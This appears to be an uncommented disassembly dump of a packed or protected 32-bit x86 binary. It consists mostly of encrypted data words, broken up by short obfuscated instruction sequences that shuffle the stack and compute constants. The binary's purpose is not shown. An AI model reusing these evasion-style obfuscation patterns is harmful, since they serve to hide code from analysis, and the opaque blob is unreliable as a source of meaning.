		dd 0A3C10937h, 5EF05E3Eh, 0F9589044h, 2CBh, 0BD0E2E75h
		dd 57A8320Ch, 0F243CBA6h, 8BDC6841h, 2778FEDAh,	9E50099h
		dd 0A3813283h, 421FD021h, 74BC6DBEh, 0CA580556h, 0F056378Bh
		dd 83815737h, 94125CF1h, 0F5A45255h, 0F68E9037h, 7B4016A2h
		dd 676E23Ah, 0F6FB535Eh, 0DFF837F0h, 1472D38h, 0C1FE5824h
		dd 0C0000001h, 9139579Fh, 0D92A4890h, 1D9BE57Ah, 0EED7C9DEh
		dd 0AAF22737h, 7BCF0E8Ch, 9B37EEA7h, 0F767D32Bh, 0A7CA444Fh
		dd 0D0E937EEh, 31381EC9h, 4AEF582Ah, 0B1000000h, 0EA815D92h
		dd 0D129890Dh, 0D9B20DA2h, 0BA9AF02Fh, 4CBC31C2h, 0D90E8CECh
		dd 8E1C7400h, 0B23E174Ch, 85DD6741h, 0EEDEA9FAh, 0D981F137h
		dd 0EE9E7CCEh, 0BF5A7337h, 2A2DC2A8h, 94D31558h, 37EE8A3Eh
		dd 6E98F060h, 0E7h, 28579F30h, 0EA68C84Ah, 79BCEBE8h, 177C0EA2h
		dd 6AD725AFh, 732B83E3h, 0CE543065h, 5DDE3626h,	487DFB81h
		dd 4B3BE36Fh, 0F23A3BF3h, 363E5C3h, 0EA085085h,	91D9DA92h
		dd 5A01655h, 72E231C2h,	9606C112h, 0E331C200h, 7936C9Bh
		dd 0BE0F6F5Fh, 280CA5Fh, 0F1AD62C3h, 5B39BA37h,	0C6FB79D9h
		dd 0C9B961EDh, 0D2AEE371h, 4D8CCE4Ch, 37EDC8F9h, 0EC2BA919h
		dd 37EDC896h, 8FF048B8h, 906B02DEh, 10706008h, 5B20EBABh
		dd 5CBBF344h, 167h, 59AACA11h, 0F344CEA8h, 8EDF6742h, 277804DDh
		dd 0C3149A76h, 0A581A435h, 3F1DCE1Fh, 0DEBB6CBDh, 1058095Ah
		dd 66F4A1F2h, 0F057D327h, 1F1DF337h, 1D1FC39Fh,	0D5DE42C0h
		dd 7CD24DD9h, 9E31C29Ch, 1B50CE2Eh, 162BA3Eh, 4CC20143h
		dd 8E31C29Ch, 0FD45C61Eh, 9FA48EDFh, 0B9BB3957h, 1398F986h
		dd 0FFB70F14h, 1A70AFF1h, 3C31C206h, 0ABF374CCh, 48DD3C8Dh
		dd 93E80FEh, 0F0FEA62Eh, 0C2065DB1h, 0AD0D7D31h, 4B340D6Fh
		dd 0A3FBF8FFh, 0EF3E7718h, 0A9279737h, 2439F6A7h, 277F4D7Bh
		dd 2886499h, 0C484F6B1h, 69B137EEh, 6D49FA4Bh, 0B4E03FE7h
		dd 0F2000000h, 94125CF1h, 0F5A45655h, 4068B637h, 8FC0E0FAh
		dd 3536DE3Eh, 0CD7ECFEDh, 0B4BF6785h, 0A43B603Fh, 0DBF493DCh
		dd 73247593h, 6EADEF2Bh, 47BA6F18h, 0FB4FCA3Ah,	1B47BA6Fh
		dd 0D788FCDh, 4FAF1453h, 1E0C0011h, 28881C8Ah, 1AA67F80h
		dd 0D977172h, 1896465h,	53364F59h, 0BB1BA37Eh, 63612841h
		dd 6828C661h, 0A1F911FDh, 69BAD820h, 0BC7470B8h, 0A1015C72h
		dd 0F3D40717h, 558B2DB5h, 847577F5h, 0A638A238h, 0C322DA32h
		dd 27h,	9EF8FF01h, 29C63116h, 0FA5270B8h, 11509240h, 31C2BABDh
		dd 0AABC94FBh, 63BFEEBBh, 9D19B5F3h, 7D887923h,	9FC2FC25h
		dd 8F903858h, 80812947h, 76771FA3h, 6D6E1698h, 62630B91h
		dd 57580086h, 494AF27Eh, 3D3EE66Eh, 1531D963h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	4961h
		mov	[esp], edx
		mov	edx, 17817584h
		not	edx
		neg	edx
		shr	edx, 7
		shr	edx, 7
		xor	edx, 632B4ACh
		mov	ebx, edx
		pop	edx
		push	7FF8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [eax+8]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dw 3E40h
		dd 1AB85912h, 30632EFh,	0B6E0FFC5h, 0C6681FB1h,	0C152B5Dh
		dd 0C337BC7h, 721ECBD1h, 8D3DCBAFh, 32F0A18Dh, 37F78106h
		dd 894628BAh, 2C2BA58Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0C7A7B44Eh, 2C12D985h
		dd 6DA806h, 81666000h, 8B3EA4F2h, 2C024DB5h, 85C76106h
		dd 62C29C1h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C6C35242h
		dd 3C3E42DFh, 0FD9D8931h, 50062C15h, 0C730C281h, 0FF5F0F9Fh
		dd 2C25F5B5h, 7E906h, 0C10D0000h, 5CA0CCF7h, 3840FC7h
		dd 66000000h, 95FFC38Bh, 62C15F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 65C35646h, 901FEAF1h, 0B04BFB90h
		dd 95FF006Ah, 62C26B1h,	79EBC08Bh, 9D85D8EEh, 613DF831h
		dd 36EBAFEAh, 296570A6h, 9A8C4255h, 6F0FD98Bh, 0A3482BEEh
		dd 0DA77B6ADh, 0C8F4509Bh, 4DA818F5h, 4313CEB8h, 2391E3A5h
		dd 0DF005316h, 0AF57CC1Ch, 0FD7FAA9Eh, 373079D9h, 0BF3F0B3Fh
		dd 0DF698791h, 912E5BCFh, 3A4B9540h, 0CA37D555h, 0C2241F1h
		dd 3F1F9F28h, 3E3CBD63h, 21D4DB76h, 0F1A6E9FAh,	0CF781E5h
		dd 0E325256Fh, 0A10C7111h, 0C293F10Ch, 11E838h,	0C1A0000h
		dd 0CD759E00h, 5C390474h, 0BBAE246Eh, 6072BC90h, 9D89C38Bh
		dd 62C3395h, 858B5F61h,	62C1511h, 6556C781h, 0B70F0000h
		dd 5DE6BED8h, 0EE814B3Eh, 4B3E44B2h, 8B79CA80h,	8166600Fh
		dd 8B9121F1h, 2C1D2D8Dh, 0E9816106h, 63B51D96h,	81DDDF80h
		dd 12556EF1h, 81E68A36h, 32BD7EE9h, 0A5D88000h,	6E90F89h
		dd 34000000h, 0A225DA21h, 1EF83D7h, 4F4FF7B0h, 0DD9D8B4Fh
		dd 4E062C19h, 0FFB5850Fh, 9D89FFFFh, 62C0F89h, 25E9h, 583CA000h
		dd 5Fh,	7 dup(0)
		dd 41E90000h, 6800000Bh, 632F372h, 0FA54A4E9h, 0F45868FFh
		dd 9AE90632h, 68FFFA54h, 632F63Dh, 0FA5490E9h, 0F71968FFh
		dd 86E90632h, 68FFFA54h, 632F8B8h, 0FA547CE9h, 0FA8D68FFh
		dd 72E90632h, 68FFFA54h, 632FBC3h, 0FA5468E9h, 2C5E8BFFh
		dd 0ABD908AEh, 2C56872Dh, 0AED008AEh, 2C528A30h, 0DCB1CEAEh
		dd 5A007EE0h, 0DA80FE6Ch, 5E0482E0h, 0E987056Fh, 9B25A2BEh
		dd 0B9867791h, 55BFAE83h, 0BA3753FEh, 1B7DC48Ch, 0CB721A77h
		dd 8C870420h, 44E87DC4h, 9CC6F5E7h, 9BCDC31Eh, 95371B73h
		dd 0FEE23AA4h, 7AB290A1h, 0AF030723h, 0E68A47B8h, 0FFF1E78Eh
		dd 0D9160962h, 0B549C63Ch, 41C795Dh, 7798638Bh,	1F7799D2h
		dd 7BD33B2Dh, 895F3B16h, 9863F06Dh, 19AD5177h, 0DAF6A138h
		dd 7798645Dh, 92BD1ABEh, 0A5246D08h, 205A6B74h,	0B4000000h
		dd 2279B38Fh, 0B8A86E06h, 19711547h, 98688801h,	25759077h
		dd 74A44150h, 0CA3D6Bh,	0AE970000h, 8FE55BFh, 42A09FD7h
		dd 0B7A951AEh, 0E5025985h, 979A865Eh, 0EB93F018h, 48A0C2F9h
		dd 7FFD6756h, 0C3DD08B3h, 5AB8B37Dh, 0FA05E603h, 36052735h
		dd 76650BD9h, 0DFA3B40Ch, 2A1A368Dh, 0A247B809h, 0ADB97385h
		dd 7CD958C4h, 278200A4h, 0B6467A0Ah, 8FECCCDBh,	1168A07Eh
		dd 9BCD4A66h, 7C2E7797h, 0E8CC2442h, 3450F754h,	41896A2Fh
		dd 0BFB50CB0h, 88E3618Dh, 0EA44C1DDh, 1A57168h,	54BAB2A4h
		dd 0C704A492h, 0BCF91155h, 8F3h, 5FDD0F3Ch, 0DE5C8EB9h
		dd 5FDD0738h, 0E15F87B9h, 5FDD013Bh, 5F8D627Fh,	0DF0BB12Fh
		dd 538B31AFh, 0DC0FB533h, 6F9A38B6h, 9199D653h,	346A3777h
		dd 942BEAEh, 2FD553E7h,	0AE58D63Ch, 2279B38Fh, 0B8A86E06h
		dd 19711547h, 98688801h, 3F9ECF77h, 9CD456E4h, 0FD55E9F5h
		dd 56AEDC0Bh, 0C9FFB16h, 5E8A102Bh, 0B30B7968h,	395872CFh
		dd 456B755Ah, 0ABh, 47BFAE9Fh, 134CEE14h, 21B599F1h, 44E5D7C9h
		dd 0CCA0CF80h, 0B50DA1EBh, 0C428F29Dh, 0A4CBE87Dh, 69938C54h
		dd 42796BC8h, 0C1FCA220h, 643A4BA3h, 0C1B1CD24h, 847B82Ah
		dd 24170D64h, 0CE9361BEh, 4561B8F0h, 4189CC2Fh,	0D24F6BD2h
		dd 3371694Eh, 0AEA4FB8Fh, 77D250BEh, 0D892915Ah, 29B27BE9h
		dd 0DFD12E15h, 0FDBF81EDh, 0BE55C70Dh, 80D69A6h, 69560000h
		dd 94D379F7h, 1952F876h, 9DD379F7h, 6755FB79h, 7C9979F7h
		dd 0CB49B5A7h, 4BC93925h, 0CF4DB5A5h, 52D03229h, 0F06D89B4h
		dd 51779198h, 0BEAE4E84h, 312CD250h, 0AEAB55D3h, 0BFD55BFh
		dd 6F34B2D0h, 0C025993h, 56D3EFD4h, 0B77DC48Dh,	7B227F13h
		dd 0B8BA7B5Fh, 0CDFDF347h, 0CC7048A5h, 294B8274h, 9ED605ABh
		dd 5E941A3h, 0A1011971h, 84BE7297h, 71678119h, 0CFC11979h
		dd 381C749Eh, 665547A4h, 2D237EFCh, 8476D33Bh, 0D4BCF649h
		dd 0E591809Ch, 30C5001Ch, 90249F1Fh, 4BA02038h,	0FDEDF052h
		dd 4C39B6D2h, 0F69AF052h, 29180A62h, 0CE7D63BBh, 0D4EFDFCCh
		dd 7EE4D7C6h, 0F3635A00h, 5A3E96F4h, 0DA566EC6h, 33F0524Bh
		dd 0B5D21684h, 7B2CAD5Ch, 312380BEh, 0B45AD83Ah, 0F2035BB9h
		dd 6985DC2Ch, 0BA4691F1h, 405DB458h, 3257A577h,	1CEA47F6h
		dd 627E8B57h, 0EA25B2E5h, 0CC00A246h, 0CB70EA2h, 25B273F0h
		dd 0D330D4EAh, 0D830102Ch, 9288B419h, 0F8DC345Ah, 0C71FC39Bh
		dd 0F9A92FAFh, 78223DE3h, 136094FDh, 3CCEAFFh, 0A5440000h
		dd 708C3754h, 7DC48CF3h, 3D59B054h, 7DC48CC0h, 0F207D21h
		dd 8EFCEB33h, 0BB87A3FAh, 0C247B8AAh, 0FFE331E9h, 9F33370Eh
		dd 0BF3770FCh, 3DFF4A9h, 0EC5572C9h, 0FC99BCDFh, 8EAA51AEh
		dd 0C07D3752h, 67588739h, 5D07CE4Bh, 0F78B2FF0h, 55BDAD9Fh
		dd 0F18519FDh, 72BA8899h, 0B19AFF1Bh, 160CBA4Dh, 5DDAF62Bh
		dd 0BEEA2D82h, 872E861Ah, 2D81EE6Bh, 17AB4FEAh,	0C41C4675h
		dd 7AB83E0h, 80F193B0h,	61AE0C4Fh, 0BCB25D04h, 10025F8Dh
		dd 4CBEA9DDh, 3D5CD9F5h, 19BDEA2Dh, 7382E85h, 0F31433A8h
		dd 89CFF89h, 0A16FCCB0h, 0E0A2C0FBh, 0CA0B41E6h, 285693ABh
		dd 71000006h, 0EE941274h, 6D1391F3h, 0EE94127Ch, 701694FAh
		dd 0B494127Ch, 648AC297h, 0E40240E6h, 688EC066h, 0EB0944EAh
		dd 88A4CF6Dh, 7791970Bh, 0F9699F6Ch, 8CB5324Eh,	72167DC4h
		dd 0EE3E0415h, 0BA977B97h, 3ADE47B8h, 90F2EDE3h, 0BAB25438h
		dd 5D4FF754h, 0E2AC046Eh, 0BD7A7F3h, 7BC88B8Ch,	8A1ED20Bh
		dd 0F16B8833h, 0A1923FB8h, 5E425AB7h, 0A5418CB7h, 0EEDD8301h
		dd 33A2C84h, 0A89789E1h, 0FCF0E23Ah, 81703A92h,	87A29219h
		dd 23538A13h, 8B6FC727h, 0B3AAA0F7h, 8FE70743h,	0ECBA17ABh
		dd 0A094731Eh, 26C0B71h, 8F650000h, 2C2279B3h, 0CB72CF3Dh
		dd 0B19AFDAFh, 0E53CE047h, 1391FDEFh, 0B70F7F6Dh, 919C259Fh
		dd 0E07F6E77h, 6177E957h, 9E60F4D4h, 5FAE4932h,	4C8ECBE3h
		dd 95000005h, 12B836A8h, 9137B5D7h, 12B83658h, 943AB8DEh
		dd 0D8B83658h, 88F6E6BBh, 866640Ah, 8CEAE48Ah, 0F75680Eh
		dd 0ACC8F391h, 7791962Fh, 8F8DC390h, 2C2279B3h,	0CC73D03Eh
		dd 0B19AFEB0h, 231C1247h, 0B38C64C1h, 38D68B7h,	76CE627Ch
		dd 2C1D4984h, 0BD866AC2h, 1D45606Bh, 3EBC501Dh,	370AA598h
		dd 0C1AFB95h, 0A193EB7Fh, 0FEF048AAh, 594BA3CDh, 0DFA90161h
		dd 1101AAF0h, 4E44A4F6h, 0B599F113h, 0D776658h,	9BAE99B6h
		dd 0F951B1A9h, 88E74C15h, 0BD9A704h, 6B7AF386h,	199F8h
		dd 0BFAE5200h, 0AB56FD55h, 8C67E400h, 24C87DC4h, 0C48BDF5Ch
		dd 3F9C407Dh, 76F41E4Dh, 528DEDB1h, 60F4D830h, 0ADE9ED09h
		dd 0CC7047B8h, 0E4D7CD74h, 6E229FBBh, 0DF837798h, 0B20FF34Bh
		dd 986E219Ah, 0E706877h, 6A8CC4B6h, 0E3B7D212h,	0CECCE7C8h
		dd 749AEAA7h, 4D946Bh, 473D0000h, 0AF93EB1Bh, 3F95C52h
		dd 43A39BCDh, 167357AFh, 98EF3905h, 0B8A8E47Ch,	8248B47h
		dd 7798688Bh, 5CB448ECh, 9868CB44h, 0B5D71277h,	10726B5Dh
		dd 9BFFEEB8h, 68B4314Dh, 71157798h, 0B9E1FCDDh,	74A3D5BCh
		dd 0A2A96Bh, 0AE030000h, 0BFD55BFh, 6355ADD1h, 96B30A68h
		dd 0C161D4C1h, 0B8B25490h, 6355FD5Ah, 0C08C0A68h, 7DC43815h
		dd 27C0EE0Bh, 395D3430h, 91F3EADCh, 38704E13h, 0FD2DC5E1h
		dd 30D447B5h, 85E9E3D9h, 88B6AC07h, 65E9025Ah, 364ECBD0h
		dd 0B8AA079Bh, 32985A84h, 775FB367h, 3AD225Fh, 0C9F60000h
		dd 74731997h, 0F9F29816h, 7D731997h, 0C7F59B19h, 1C391997h
		dd 6BE91547h, 0EB6999C5h, 6FED1545h, 0F27092C9h, 900D2954h
		dd 0F1779194h, 0BEAEEE24h, 312CD250h, 695F95C5h, 35197105h
		dd 1B544AA1h, 24CE9CF9h, 0A99EDCF9h, 0BA7FAB6h,	6381BCAEh
		dd 0C022190Bh, 1A787369h, 542AEFBDh, 29A1BD14h,	9047B8BAh
		dd 0FD7C94ECh, 0FA77984Bh, 17F6D63h, 0B810A4C6h, 30230BD4h
		dd 0B0F9A511h, 0C722853h, 0F49FF636h, 0A995CDFEh, 69FDE139h
		dd 6E7CF40Ch, 3FE3418Ch, 0BFAE17C1h, 6056FD55h,	0CBAF076Dh
		dd 23417C6Eh, 9502E0A5h, 0A8B18397h, 0C219ADDCh, 0B811A2A6h
		dd 0A6C22947h, 7797D229h, 0FB52E68Ah, 55ADD505h, 0C56C1471h
		dd 9BD0B4A8h, 577942A0h, 26FAB997h, 940A43D6h, 128BA300h
		dd 1A7797D8h, 0B7DA9BFFh, 0F06B7530h, 45A2C0FAh, 6775h
		dd 3F9CF00h, 6E52AAC8h,	0EA220011h, 43AB9D93h, 3AA07EBh
		dd 0B8A84FE7h, 3A312747h, 0FFA37BD8h, 5AB8B2A8h, 0C43D55FDh
		dd 0B779868h
		dd 6456AEDCh, 71B1096Bh, 86674456h, 6AC7F9EFh, 8177DEBBh
		dd 0A80094FEh, 5E3C67C4h, 356948Ah, 4BCF8F51h, 0AD0A9E17h
		dd 7577FE93h, 778CA96Bh, 21A2BF70h, 0C69A6AC7h,	0F4000000h
		dd 0FD55BFAEh, 8003956h, 0B54A50E0h, 8766658h, 578FBEB0h
		dd 0C1A5FD61h, 0E8E3D52Dh, 95400C8Ah, 407DC3CAh, 0C369E70Dh
		dd 68136A88h, 0C39CCF4Ch, 358C307Dh, 0C39C9C19h, 0FC59FD7Dh
		dd 2D7F4354h, 88EEE0D6h, 2C68842Bh, 1347B7D6h, 562CF16Fh
		dd 97C9BF16h, 6A33176Fh, 0DD04652Ch, 862D8ABAh,	8916BC6Ah
		dd 84DB7F41h, 0B2305E8Eh, 0ECAED00Ch, 55C756D8h, 0D874B1C9h
		dd 21000001h, 9E44C224h, 1DC341A3h, 9E44C22Ch, 20C644AAh
		dd 6444C22Ch, 147A7247h, 94F2F096h, 187E7016h, 9BF9F49Ah
		dd 38547F1Dh, 779192BBh, 0AE194F1Ch, 2CD250BEh,	77F41031h
		dd 0D87DC48Ch, 2C49A034h, 4F6C3384h, 0B17FDCA5h, 324EF907h
		dd 7DC48CB5h, 4157216h,	4B03B93Eh, 0DD3648EDh, 3ED6F249h
		dd 0E547B7E1h, 4C42E941h, 8099F113h, 660BC72Bh,	0CD6F0381h
		dd 361A729Ch, 1A48C1D9h, 0B9507798h, 126A88C3h,	0F4A6D12Eh
		dd 0B02D49F4h, 11779819h, 9BF6106Dh, 0E36B74F3h, 0D2h
		dd 9A4968Ch, 5FA91C87h,	55B2466Dh, 77DCF95Fh, 0C1AF5FB4h
		dd 787365C2h, 9CD0C21Ah, 57021A72h, 4D7DC48Bh, 0F5EB6557h
		dd 0C1553991h, 29A6C269h, 8A7DC45Eh, 3F552E6h, 862CAAC8h
		dd 0C4D52D57h, 3B57AEFEh, 47B896FFh, 0C9292117h, 85C48D71h
		dd 5A709DBDh, 3CE0B815h, 7C6D63BEh, 0DEA4B512h,	0ECACEB59h
		dd 53378FFDh, 0A034C78Ah, 8C99B50Ch, 0D4189C0h,	71F51269h
		dd 71E5CF17h, 211D3F08h, 67F7D2FBh, 7F6D630Ah, 0F1EB910Fh
		dd 5933CB8Dh, 88A055C7h, 0A24Bh, 8CFEEB00h, 0B79680Eh
		dd 8CF6E78Dh, 0E70680Eh, 8CF2EA90h, 3C112E0Eh, 0BA60DE00h
		dd 3AE05E8Ch, 0BE64E200h, 49E7658Fh, 9185021Eh,	19E67791h
		dd 50BEAEE3h, 0D3312CD2h, 0BFAEAB55h, 6056FD55h, 0C9AD056Fh
		dd 21437A6Ch, 0C800DEA3h, 7AA9C671h, 0F613606h,	33011976h
		dd 6747B0E9h, 0EA23A0BCh, 98437790h, 385098D9h,	9CF99D25h
		dd 0D6C820C4h, 59FF7DE7h, 90A80062h, 8C46A64Eh,	0A5F8A20Dh
		dd 28CE4CB6h, 8577CF35h, 9D32B53h, 2E1D801Ah, 0ADA046C4h
		dd 87DF0739h, 7AB70FA3h, 3, 0AE4AB084h,	5F74FB1h, 6254ACD6h
		dd 0C0B20A68h, 1A0C6482h, 7264BC22h, 0CABC147Ah, 26187096h
		dd 8173CB35h, 91CC2446h, 2B2568h, 241C8900h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 6D682404h, 89000023h
		dd 0BD55243Ch, 2F9201CAh, 0A8ED8145h, 55295F0Fh, 48242C81h
		dd 58118035h, 80354805h, 0EC815D11h, 4,	81242489h, 42404h
		dd 835F0000h, 48904ECh,	24048124h, 595D4D14h, 8108478Fh
		dd 4D14086Fh, 34FF595Dh, 0C4835F24h, 24048B04h,	81E28952h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFA4975h, 0B841274Ch
		dd 1120D9D2h, 32FC8AB8h, 0FFC50306h, 0CB7C38E0h, 0DA49A851h
		dd 0CBDCED6Ch, 74D5353Ah, 22C97166h, 3A846814h,	69146561h
		dd 0F7D9913Eh, 4981CD11h, 87D8580Eh, 83AAEB5Dh,	0C0E3F93Bh
		dd 0A437B37Eh, 0EC443655h, 0EB051E2Eh, 0A64E9D19h, 0B26C9C34h
		dd 0BFB83532h, 42922A14h, 0C382F55Eh, 7A8272h, 0F2C5372h
		dd 919ECC7Eh, 7AC1DC3Ah, 0A08D8D22h, 6A0632FEh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 7929C356h, 0DB2D1860h, 0CA811925h, 5E99C9E8h, 2BA58D89h
		dd 6A062Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 873CF4C3h, 0C72FC280h, 2C12D985h,	609006h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0DD8D8949h, 0C7062C23h, 2C29C185h, 6, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0D1E6E05Eh, 998AAD1h, 2C33599Dh, 8C0F5706h, 6, 8D0Fh
		dd 505A0000h, 5ED8B70Fh, 243DB5FFh, 0C880062Ch,	5E90Bh
		dd 7080000h, 0FF415178h, 2C15F595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 5E625AF5h
		dd 8459488h, 8D8B6012h,	62C1C71h, 61DFB70Fh, 6AC1BF0Fh
		dd 0B195FF00h, 8B062C26h, 0F45BEBC0h, 0CE8AB30Dh, 68400E4Dh
		dd 0F30216Ah, 0BDBEE45Ch, 0CCD9D29h, 0AB3E6BDDh, 503F560Eh
		dd 0D4675A68h, 8A8CD25Dh, 984E1C01h, 0A3FF59CDh, 0D3F4691Ah
		dd 5B45390Fh, 8682862Ch, 5C8CAC88h, 8F045273h, 0EC5B0511h
		dd 2E12E538h, 58D36FAAh, 0F5214C1h, 0D972D56Eh,	0A8E97480h
		dd 8D8D7024h, 632FFC0h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 76C35242h, 4DD9A98Eh,	0CBF6815Fh, 896FE932h
		dd 2C2BA58Dh, 85C7F806h, 62C12D9h, 6E48h, 4C79BE66h, 29C185C7h
		dd 62Ch, 0FFFC0000h, 2C11F9B5h,	53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B9D8B27Dh
		dd 0FF8381F9h, 2C15F595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0FE8CE6A5h
		dd 52FFF68Ch, 5897D280h, 12E9h,	61ECD200h, 0A8C3290Bh
		dd 0B63F4C4Eh, 0B553C1D1h, 6A771AC9h, 0B195FF00h, 8B062C26h
		dd 0BC7DEBC0h, 6F6B6C06h, 79E519CAh, 0E01A88B4h, 0B0F55082h
		dd 3B38F2A5h, 0EC209E85h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h
		dd 0D582AF4Bh, 4560BCBEh, 90A78ECCh, 87386E48h,	0A7FF3D96h
		dd 220DFDCBh, 78B58020h, 8AB0140Fh, 9886124Dh, 0DDDED395h
		dd 8D726135h, 0A11B6FA2h, 0BAEB83C1h, 6F77B123h, 0B8CCEFA6h
		dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 0FB044ED0h
		dd 0EE84894Fh, 72C64472h, 11E8h, 0C0C0D400h, 0CC3D65FCh
		dd 1A995766h, 9A483CA7h, 0EDB7B6DFh, 758D8B5Fh,	81062C2Bh
		dd 64DBC7h, 5958B00h, 0B8062C19h, 1909h, 38B0Fh, 0BF0F0000h
		dd 2937FFCEh, 2C2149BDh, 81F95E06h, 0E3A35F6h, 0BCE78013h
		dd 0D860EE81h, 8D292E3Ah, 62C0D91h, 1D44EE81h, 0DA8108EFh
		dd 61781FCCh, 9D893789h, 62C1CCDh, 0F04EF83h, 0E883D3BFh
		dd 15850F01h, 66000000h, 3DE9D88Bh, 0AF000000h,	0AB1BE959h
		dd 5C8031B5h, 0ABA0D127h, 0BE8h, 96BB9400h, 6501A5C9h
		dd 8465AD20h, 33C1B589h, 0E95B062Ch, 0FFFFFF8Dh, 8356FA2Ch
		dd 0FBE029D6h, 0DD61067Bh, 64A829EEh, 0F0873248h, 8E8h
		dd 5B174000h, 4ED891D6h, 0BD958B3Ch, 59062C18h,	33C181FCh
		dd 57000071h, 1D55BD8Bh, 685B062Ch, 0
		dd 1D8D8953h, 5A062C11h, 9985895Eh, 0FF062C12h,	57BA0E34h
		dd 58408605h, 0C08195B6h, 616B8376h, 22399D33h,	0C081062Ch
		dd 11E5FA21h, 0E88106B7h, 54ABF804h, 50D3BF0Fh,	1DB19D0Bh
		dd 48F062Ch, 0FFBF0F31h, 29CD8D89h, 0EE83062Ch,	758D2903h
		dd 4E062C06h, 11D08160h, 0E94792A2h, 5,	1C8CEC0Fh, 0FE8161EBh
		dd 0FFFF8F64h, 0FF9D850Fh, 9589FFFFh, 62C1991h,	34E9h
		dd 0ED6CB900h, 59h, 0Bh	dup(0)
		dd 532E900h, 78BF0000h,	7C560758h, 15F0A1F2h, 0B28B3C8Dh
		dd 4824D526h, 0CAE371C2h, 7CCD532Fh, 1A6BEDCBh,	0B7088C69h
		dd 4FA0BE06h, 61D514A2h, 0A137F1BBh, 579FCDCBh,	0B4909139h
		dd 0E42CDD2Eh, 0D51D1EC6h, 340E0FB7h, 0CA1302AAh, 0ACCA12CFh
		dd 49CDAA5Bh, 28053AF8h, 0EECB4CA4h, 0E3C1C26Ah, 0DDB8B961h
		dd 64ACAD55h, 3AD39E46h, 0C036755Fh, 231C2BAh, 9FB83292h
		dd 0C7A5DAF8h, 8F6CED45h, 7B588D0Bh, 8D3E9FF7h,	747F2745h
		dd 31C2BA1Bh, 20C8E62Eh, 16BE421Fh, 0BD7B24Bh, 5B386D6Bh
		dd 0A41A59D7h, 0E631C2BAh, 0CEC91E76h, 56523117h, 55E85Eh
		dd 0D4D60000h, 0FA6C282Ch, 0EEA8006Ah, 9139579Fh, 0E9754E83h
		dd 0BAB20691h, 0CB9031C2h, 523319CCh, 1EA5E56h,	0AC000000h
		dd 0BD3BC59Fh, 0BAC63C7Bh, 19F331C2h, 6BC3338Fh, 3DD8B2B3h
		dd 0C79FDD5Fh, 7254E5EDh, 0E7E890F0h, 0EBDA820Eh, 10EAE7A2h
		dd 3C843586h, 9FE3CD1Eh, 94953DC3h, 0BD8830BAh,	906C6524h
		dd 0C6FBB90Ah, 8708607Eh, 0AB37103Fh, 0C7A2A34Bh, 407FC13Fh
		dd 31C2BACAh, 0BA57ABEAh, 77731C2h, 2BE33BABh, 361CFB14h
		dd 609E2601h, 0AABF17A1h, 138EE62Eh, 5E56353Dh,	94D4h
		dd 0C39F9600h, 0DFB9502Ch, 5D4DF555h, 795455FDh, 115A49F1h
		dd 0D97D5976h, 0C2BA249Ah, 96F66631h, 8305E318h, 56AE3812h
		dd 0B6F537F5h, 31C2BA40h, 16513482h, 38B8CC77h,	28E67D8h
		dd 0C74D29AAh, 0B9451E1Fh, 26E1FA11h, 55CF592Fh, 84A8C5Eh
		dd 0C23175C9h, 0AA259531h, 31C23154h, 84AE0676h, 51h, 0DB613D72h
		dd 0C39FC983h, 0AFBDBF3Dh, 87590D8Fh, 80813991h, 0AECC41A3h
		dd 1C5AE6BFh, 0CD0C9F2Ch, 31C21179h, 69C92999h,	0D0B77CC1h
		dd 4C9D23FFh, 3BC59F62h, 0BA378893h, 151331C2h,	5AE0713h
		dd 3189EC71h, 442A3DDCh, 0FB5E5552h, 1,	3CC49FBDh, 2D4B9394h
		dd 0F4297B85h, 0E2378F1Bh, 0C74F2A27h, 38821776h, 0E30A7BBAh
		dd 0FB3037EEh, 25A78522h, 852D8D7Dh, 43D13D95h,	0EE938E04h
		dd 8182D037h, 0AC1A9B2Eh, 0B65EBE1Eh, 0F2316DB5h, 37EE069Ch
		dd 0E945CFA9h, 6A61C5Bh, 78E837EEh, 0A967B818h,	6D22867h
		dd 2B1237EEh, 73A7F117h, 1F77E743h, 4C27569Eh, 0CC2C1CC4h
		dd 0FEA71924h, 0C98E37EEh, 0ABC911CEh, 1B5A9C5Ah, 37EEFEA7h
		dd 9E1F77E7h, 78BA3856h, 0EEFEC539h, 3D950537h,	3C8485h
		dd 0EEFE4DC1h, 0C0FF8D37h, 37EEFE4Ah, 5CBC1C8Ch, 50D8B3B4h
		dd 44CCA7A8h, 0A564AD9Ch, 0D0B2B2DFh, 56B6B0B8h, 0CA87821Bh
		dd 68136482h, 58299882h, 11839h, 9092FB00h, 6A229E02h
